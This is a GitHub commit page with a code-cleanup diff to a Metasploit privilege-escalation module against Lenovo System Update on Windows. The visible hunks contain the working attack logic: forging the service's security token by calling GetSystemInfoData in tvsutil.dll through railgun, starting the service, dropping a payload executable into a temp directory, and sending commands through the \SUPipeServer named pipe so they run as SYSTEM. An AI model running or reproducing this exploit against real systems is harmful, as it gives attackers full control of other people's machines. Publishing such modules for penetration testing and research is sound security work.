Skip to content

Commit 3aa1ffb

Browse files
committed
Do minor code cleanup
1 parent d99eedb commit 3aa1ffb

File tree

1 file changed

+26
-26
lines changed

1 file changed

+26
-26
lines changed

modules/exploits/windows/local/lenovo_systemupdate.rb

Lines changed: 26 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -4,32 +4,31 @@
44
##
55

66
class Metasploit3 < Msf::Exploit::Local
7-
Rank = ExcellentRanking
8-
97
include Msf::Exploit::EXE
108
include Msf::Post::File
119
include Msf::Exploit::FileDropper
1210
include Msf::Post::Windows::Priv
1311
include Msf::Post::Windows::Services
1412

13+
Rank = ExcellentRanking
14+
1515
def initialize(info={})
1616
super(update_info(info, {
1717
'Name' => 'Lenovo System Update Privilege Escalation',
1818
'Description' => %q{
19-
The named pipe, \SUPipeServer, can be accessed by normal users to interact
20-
with the System update service. The service provides the possibility to execute
21-
arbitrary commands as SYSTEM if a valid security token is provided. This token can
22-
be generated by calling the GetSystemInfoData function in the DLL tvsutil.dll
23-
24-
Please note that the System Update is stopped by default but can be started/stopped calling
25-
the Executable ConfigService.exe
19+
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
20+
System update service. The service provides the possibility to execute arbitrary
21+
commands as SYSTEM if a valid security token is provided. This token can be generated
22+
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
23+
System Update is stopped by default but can be started/stopped calling the Executable
24+
ConfigService.exe.
2625
},
2726
'License' => MSF_LICENSE,
2827
'Author' =>
2928
[
30-
'Micahel Milvich', # vulnerability discovery, advisory
31-
'Sofiane Talmat', # vulnerability discovery, advisory
32-
'h0ng10' # Metasploit module
29+
'Micahel Milvich', # vulnerability discovery, advisory
30+
'Sofiane Talmat', # vulnerability discovery, advisory
31+
'h0ng10' # Metasploit module
3332
],
3433
'Arch' => ARCH_X86,
3534
'Platform' => 'win',
@@ -118,13 +117,14 @@ def write_named_pipe(pipe, command)
118117

119118

120119
def get_security_token(lenovo_directory)
121-
if not client.railgun.get_dll('tvsutil') then
120+
unless client.railgun.get_dll('tvsutil')
122121
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
123-
client.railgun.add_function("tvsutil", "GetSystemInfoData", "DWORD", [["PWCHAR","systeminfo","out"]], windows_name = nil, calling_conv = "cdecl")
122+
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
124123
end
125124

126125
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
127-
return dll_response['systeminfo'][0,40]
126+
127+
dll_response['systeminfo'][0,40]
128128
end
129129

130130

@@ -139,23 +139,23 @@ def exploit
139139
end
140140

141141
su_directory = service_info('SUService')[:path][1..-16]
142-
print_status("Starting service via ConfigService.exe")
143-
config_service(su_directory, "start")
144-
print_status("Giving the service some time to start...")
145-
sleep(datastore['sleep'])
142+
print_status('Starting service via ConfigService.exe')
143+
config_service(su_directory, 'start')
144+
145+
print_status('Giving the service some time to start...')
146+
Rex.sleep(datastore['Sleep'])
146147

147148
print_status("Getting security token...")
148149
token = get_security_token(su_directory)
149150
vprint_good("Security token is: #{token}")
150151

151-
152-
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
153-
temp_dir = datastore['WritableDir']
154-
else
152+
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
155153
temp_dir = get_env('TEMP')
154+
else
155+
temp_dir = datastore['WritableDir']
156156
end
157157

158-
print_status("Using #{temp_dir} to drop malicious exe")
158+
print_status("Using #{temp_dir} to drop the payload")
159159

160160
begin
161161
cd(temp_dir)
@@ -186,8 +186,8 @@ def exploit
186186
fail_with(Failure::Unknown, 'Failed to write to pipe')
187187
end
188188

189-
print_status("Stopping service via ConfigService.exe")
190-
config_service(su_directory, "stop")
189+
print_status('Stopping service via ConfigService.exe')
190+
config_service(su_directory, 'stop')
191191
end
192192

193193
end

0 commit comments

Comments
 (0)